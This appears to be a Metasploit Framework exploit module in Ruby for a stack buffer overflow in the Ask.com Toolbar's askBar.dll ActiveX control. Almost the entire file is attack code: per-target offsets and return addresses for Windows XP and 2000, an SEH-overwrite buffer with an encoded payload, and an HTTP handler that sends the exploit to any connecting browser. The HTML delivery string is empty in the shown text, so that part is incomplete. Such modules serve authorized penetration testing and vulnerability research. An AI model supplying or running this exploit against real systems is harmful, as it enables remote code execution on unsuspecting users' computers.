##
# $Id: ask_shortformat.rb 4953 2007-05-21 20:51:13Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Windows::Browser::Ask_Shortformat < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::HTML
include Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Ask.com Toolbar 4.0.2.53.
An attacker may be able to excute arbitrary code by sending an overly
long string to the "ShortFormat()" method in askbar.dll.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],
[ 'Windows 2000 Pro English ALL', { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],
],
'DisclosureDate' => 'Sep 24 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
filler = rand_text_alpha(target['Offset'])
seh = generate_seh_payload(target.ret)
sploit = filler + seh + rand_text_alpha(payload.encoded.length)
# Build out the message
content = %Q|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
end